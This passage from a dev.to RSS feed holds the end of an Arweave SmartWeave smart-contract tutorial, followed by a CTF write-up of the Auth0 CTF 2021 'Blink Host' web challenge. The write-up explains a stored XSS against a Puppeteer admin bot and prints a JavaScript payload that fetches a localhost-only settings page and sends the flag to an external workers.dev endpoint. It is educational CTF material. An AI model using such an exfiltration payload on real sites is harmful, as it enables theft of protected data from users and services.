  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;funds&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;raised&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;1.2109999999999999&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;goal&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;records&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Ji6MP-Wt_LYk6yaTsxEnhlpbRpAu0824&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;1.21&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;6Jfg5shIvbAcgoD04mOppSxL6LAqx6IfjL0JexxpmFQ&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;0.001&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Deployment &lt;a&gt;&lt;/a&gt;
&lt;/h3&gt;

&lt;p&gt;To deploy the contracts, use the Smartweave create command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;smartweave create [SRC LOCATION] [INITIAL STATE FILE] --key-file [YOUR KEYFILE]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It takes around 10-15 minutes for the contract to be deployed. &lt;strong&gt;Note that you would have to spend some AR in order to deploy the contract.&lt;/strong&gt; &lt;br&gt;
Once the create command completes, the CLI will output a unique transaction ID for the transaction. This ID is essential to proceed forward.&lt;/p&gt;

&lt;p&gt;To check the status of the transaction&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;arweave status [CONTRACT TXID]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;To read the state of the contract&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;smartweave read [CONTRACT TXID]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;For a web GUI experience, check out &lt;a href="//viewblock.io"&gt;Viewblock.io&lt;/a&gt;. Its a handy website to check all the information about your contracts state, tags and transactions.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  Interacting with the contract &lt;a&gt;&lt;/a&gt;
&lt;/h3&gt;

&lt;p&gt;It is time to send payloads to interact with the contract i.e. update the state. We would be using the enlist and donate functions that we set up earlier on the contracts.&lt;/p&gt;

&lt;p&gt;To interact with the transaction:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;smartweave write [CONTRACT TXID] --key-file [YOUR KEYFILE] \
  --input "[CONTRACT INPUT STRING HERE]"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For enlisting a contract&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;smartweave write [Parent Crowdsource Contract TXID] --key-file [YOUR KEYFILE] --input "{"function":"enlist","listingId":"&amp;lt;Collection contract TXID&amp;gt;"}"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For donating tokens to a collection&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;smartweave write [Collection Contract] --key-file [YOUR KEYFILE] --input '{"function":"donate","donorId":"&amp;lt;Donor wallet address&amp;gt;","amount":&amp;lt;number of tokens&amp;gt;}'
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Summary &lt;a&gt;&lt;/a&gt;
&lt;/h3&gt;

&lt;p&gt;Congratulations 🥳🥳🥳&lt;br&gt;&lt;br&gt;
Hope you liked reading through the article. To summarise the learnings, you should have understood:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;What are smart contracts&lt;/li&gt;
&lt;li&gt;How to write and deploy one on Arweave&lt;/li&gt;
&lt;li&gt;How to Interact with them &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Read about my project I built for the hackathon if you're interested below 🙂&lt;/p&gt;

&lt;h4&gt;
  
  
  Bonus Tip
&lt;/h4&gt;

&lt;p&gt;All of these are done via CLI, but to scale it to a real world application. You would need to the Arweave SDKs and APIs.&lt;br&gt;&lt;br&gt;
Happy Exploring 😉&lt;/p&gt;

&lt;h3&gt;
  
  
  About my project &lt;a&gt;&lt;/a&gt;
&lt;/h3&gt;

&lt;p&gt;Its called &lt;strong&gt;People Help People&lt;/strong&gt;, the origin of the name comes from the idea of a society where people are not dependent on middle men or central systems to help each other. One can find more information about the Aim and Goals on the &lt;a href="https://docs.google.com/presentation/d/1aKKLEy4_jbnvHA1-2FpWgVjiqPK1W-jKKnlb-1cZPKc/edit?usp=sharing" rel="noopener noreferrer"&gt;Pitch Deck&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;This is a blockchain based project. It has two parts to it. The smart contracts and the web client interface. &lt;/p&gt;

&lt;p&gt;The project presently consists of two prototypes&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;a href="https://github.com/People-Help-People/petitions" rel="noopener noreferrer"&gt;Petitions&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/People-Help-People/crowdsource" rel="noopener noreferrer"&gt;Crowdsource&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Both of these prototypes inherits the idea of PHP, i.e. to defeat the intervention of a central system. Hence I covered only one of them in the article. Once I learnt the basic fundamentals of how smart contracts work and how to write one, giving life to these two ideas was plain sailing. &lt;/p&gt;

&lt;p&gt;Devfolio Submission link: &lt;a href="https://devfolio.co/submissions/people-help-people-a3c8" rel="noopener noreferrer"&gt;https://devfolio.co/submissions/people-help-people-a3c8&lt;/a&gt;&lt;br&gt;&lt;br&gt;
GitHub Repo link: &lt;a href="https://github.com/HarishTeens/PeopleHelpPeople" rel="noopener noreferrer"&gt;https://github.com/HarishTeens/PeopleHelpPeople&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;I had to struggle a lot to walk through the right steps in order to learn this. So I tried my best to make the learning smooth for a beginner. Please share your feedbacks in the comments.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  Join the Movement
&lt;/h3&gt;

&lt;p&gt;If you're interested in joining the movement, dm me on Twitter so I could add you to the organisation &lt;a href="https://github.com/People-Help-People" rel="noopener noreferrer"&gt;People Help People&lt;/a&gt; on GitHub. It's a very recent org, so it appears to be blank at the moment. But definitely planning to work on it in the future ✨ &lt;/p&gt;

&lt;p&gt;Follow me on Twitter &lt;a href="https://twitter.com/harishteens" rel="noopener noreferrer"&gt;@HarishTeens&lt;/a&gt;   &lt;/p&gt;

</description>
      <category>javascript</category>
      <category>blockchain</category>
      <category>web3</category>
    </item>
    <item>
      <title>Blink Host | Auth0 CTF Write-up</title>
      <dc:creator>Harish</dc:creator>
      <pubDate>Wed, 27 Oct 2021 04:53:54 +0000</pubDate>
      <link>https://dev.to/harishteens/blink-host-auth0-ctf-write-up-4l7f</link>
      <guid>https://dev.to/harishteens/blink-host-auth0-ctf-write-up-4l7f</guid>
      <description>&lt;h2&gt;
  
  
  Background
&lt;/h2&gt;

&lt;p&gt;This web challenge was hosted on Auth0 CTF 2021. Read more about it &lt;a href="https://auth0.com/blog/introducing-auth0-ctf/" rel="noopener noreferrer"&gt;here&lt;/a&gt;. This challenge was tagged for 625 points with a 2 star rating. I would categorise the difficulty level as Beginner-Intermediate. Download the challenge file from this &lt;a href="https://github.com/dscnitrourkela/CTF-solutions/blob/main/problems/web_blink_host.zip" rel="noopener noreferrer"&gt;link&lt;/a&gt;. The zip file extracks to a challenge folder with docker config. To setup the docker container in local, simply run the &lt;code&gt;build-docker.sh&lt;/code&gt; file and you should be good to go.  &lt;/p&gt;

&lt;p&gt;The following is a write-up for the aforementioned challenge, give it a shot yourself before reading ahead. &lt;/p&gt;

&lt;h2&gt;
  
  
  Table Of Contents
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Recon&lt;/li&gt;
&lt;li&gt;Initial thought process&lt;/li&gt;
&lt;li&gt;Exploring Pupeeteer&lt;/li&gt;
&lt;li&gt;Building the solution&lt;/li&gt;
&lt;li&gt;Summary&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A quick overview of the application would be that it is a dynamic website that lets you submit a support ticket via an input form. There are other routes as well but it cant be accessed normally with the browser. Like you guessed, the flag is buried in one of the protected routes.&lt;/p&gt;

&lt;h3&gt;
  
  
  Recon &lt;a&gt;&lt;/a&gt;
&lt;/h3&gt;

&lt;p&gt;First I started browsing through the source code to understand what all technologies are used. &lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Express App (JS) : The app uses ExpressJS for the backend. &lt;/li&gt;
&lt;li&gt;Nunjucks: The most commonly used templating library is Nunjucks. Once I saw this maybe there is some injection possible somewhere.&lt;/li&gt;
&lt;li&gt;SQL DB: Alright, the database was on SQL. I got excited to see this one as I'm a big fan of SQLi scripting.
sqli&lt;/li&gt;
&lt;li&gt;Puppeteer: There was also Puppeteer. I've barely used it, so I just had in the back of my head. Not sure what would be possible with it.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;This was all I got from a bird's eye view. This is usually the first thing I do. Next is to understand what the app does, like really trying to understand what operations it is performing under the hood.&lt;/p&gt;

&lt;p&gt;After browsing through the files.  Of all the routes, the only 3 that mattered are the following:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;code&gt;settings&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/tickets&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/api/submit_ticket&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Out of these, only the 3rd route is accessible via the browser. The first two routes are guarded by a condition that allows traffic originated only within the network i.e. from localhost.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ip&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;127.0.0.1&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;redirect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So whenever I try to goto any of the endpoints from the browser, it simply redirects to the landing page.&lt;br&gt;
Coming to the most important part, the flag was present inside settings.html that could only be accessed via the settings route. Let us explore how we could retrieve the flag.&lt;/p&gt;
&lt;h3&gt;
  
  
  Initial thought process &lt;a&gt;&lt;/a&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;location of the flag&lt;/li&gt;
&lt;li&gt;in order to get to the flag, we gotta expose settings.html&lt;/li&gt;
&lt;li&gt;and that is blocked only from 127.0.0.1&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Since the flag was hid behind the &lt;code&gt;/settings&lt;/code&gt; endpoint, it can only be accessed within the network. If we somehow trick the server into thinking that the request originated within the network, it must lead us to settings.html. &lt;/p&gt;

&lt;p&gt;My initial thought process was to simply try spoofing the request, make the server believe that the request is in fact originated from localhost. So I tried googling how to do that and found the &lt;code&gt;X-Forwarded-For&lt;/code&gt; header. Basically I was trying to understand how node identifies the request IP, so I thought I could send a payload there. This &lt;a href="https://stackoverflow.com/questions/8107856/how-to-determine-a-users-ip-address-in-node" rel="noopener noreferrer"&gt;post&lt;/a&gt; helped me send a curl request with the above header set to &lt;code&gt;127.0.0.1&lt;/code&gt;. Unfortunately, that didnt work.&lt;/p&gt;

&lt;p&gt;After trying to set other header's, I realised that the request cannot be spoofed. It has to be legit!&lt;/p&gt;
&lt;h3&gt;
  
  
  Exploring Puppeteer &lt;a&gt;&lt;/a&gt;
&lt;/h3&gt;

&lt;p&gt;The only piece I had'nt explored was Pupeeteer which in fact visited the &lt;code&gt;/tickets&lt;/code&gt; route right after a ticket is submitted. If you're hearing about Puppeteer for the first time, read their &lt;a href="https://pptr.dev/" rel="noopener noreferrer"&gt;website&lt;/a&gt;. In simple terms, its a bot that mimics how a user interacts with websites.&lt;/p&gt;

&lt;p&gt;Exploring its code...&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;router&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/api/submit_ticket&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;email&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;website&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;message&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nx"&gt;email&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nx"&gt;website&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nx"&gt;message&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addTicket&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;email&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;website&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;message&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="nx"&gt;bot&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;purgeData&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
                &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;response&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Ticket submitted successfully! An admin will review the ticket shortly!&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
            &lt;span class="p"&gt;});&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;status&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;403&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;response&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Please fill out all the fields first!&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This was actually fishy cause, the purgeData function is being called right after a ticket is submitted. So what essentially happens is the bot visits the page and then it simply clears the db. Its strange, but yeah thats what it does.&lt;/p&gt;

&lt;p&gt;Now I was wondering, can I trick Puppeteer to visit the &lt;code&gt;/settings&lt;/code&gt; route that contains the flag somehow? So I began exploring the bot code and routes. No SQLI was possible, it was cleverly filtered. So thats out of the equation. Even template injection wouldnt work. &lt;/p&gt;

&lt;p&gt;After some exploration, I noticed the ticket from db is fetched and rendered on the tickets HTML DOM. Suddenly it hit me, would a simple XSS work? cause its just rendering the field from the db without sanitizing it. But the big question is how would I know if it worked? I ain't visiting the site, Puppeteer does. &lt;/p&gt;

&lt;p&gt;Lots of problems to be solved here...&lt;/p&gt;

&lt;p&gt;To test my theory, I had to make Pupetter call my external API endpoint by sending a JS payload. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd2ne86pdt1ai5417nrdw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd2ne86pdt1ai5417nrdw.png" alt=" " width="800" height="340"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;A few seconds after I hit submit, I saw a GET request being made to this endpoint in the logs . My theory works, Tada 🎉🎉🎉&lt;/p&gt;

&lt;h3&gt;
  
  
  Building the solution &lt;a&gt;&lt;/a&gt;
&lt;/h3&gt;

&lt;p&gt;Now that I know Puppeteer can send data outside, all I had to do was write a JS script that grabs the flag from &lt;code&gt;/settings&lt;/code&gt; route and sends it to my Cloudflare API.&lt;/p&gt;

&lt;p&gt;This solution would work cause it is in fact Pupetter which is running locally(request IP is 127.0.0.1) that visits the &lt;code&gt;/settings&lt;/code&gt; endpoint, not me!!!&lt;/p&gt;

&lt;p&gt;So here comes the easy part&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;    &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;http://127.0.0.1:1337/settings&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;text&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="p"&gt;})&lt;/span&gt;
    &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;html&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;exp&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nx"&gt;html&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;substring&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;html&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;lastIndexOf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;HTB{&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
        &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://curly-art-0176.designrknight.workers.dev/a=&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nx"&gt;exp&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The simplest JS script to visit settings page, grab the flag and send back in the GET param. This could probably be the smallest backdoor script that I've ever written xD.&lt;/p&gt;

&lt;p&gt;As soon as I hit submit, I got a hit on the logs. The param had the flag. And yes it was the right one!&lt;/p&gt;

&lt;h3&gt;
  
  
  Summary &lt;a&gt;&lt;/a&gt;
&lt;/h3&gt;

&lt;p&gt;The website is &lt;strong&gt;XSS susceptible&lt;/strong&gt;. So write a fetch request that visits settings route, grabs the flag and then posts it back to an external endpoint. This worked because &lt;strong&gt;pupetter didnt block external network connetions&lt;/strong&gt;. These two are the major vulnerabilities here.&lt;/p&gt;

&lt;p&gt;Follow me on &lt;a href="https://twitter.com/harishteens" rel="noopener noreferrer"&gt;twitter.com/HarishTeens&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I would like to thank Auth0 for hosting the CTF ✨. Special thanks to &lt;a href="https://twitter.com/designrknight" rel="noopener noreferrer"&gt;@DesignrKnight&lt;/a&gt; | Partner in crime.&lt;/p&gt;

</description>
      <category>security</category>
      <category>ctf</category>
      <category>web</category>
      <category>tutorial</category>
    </item>
  </channel>
</rss>
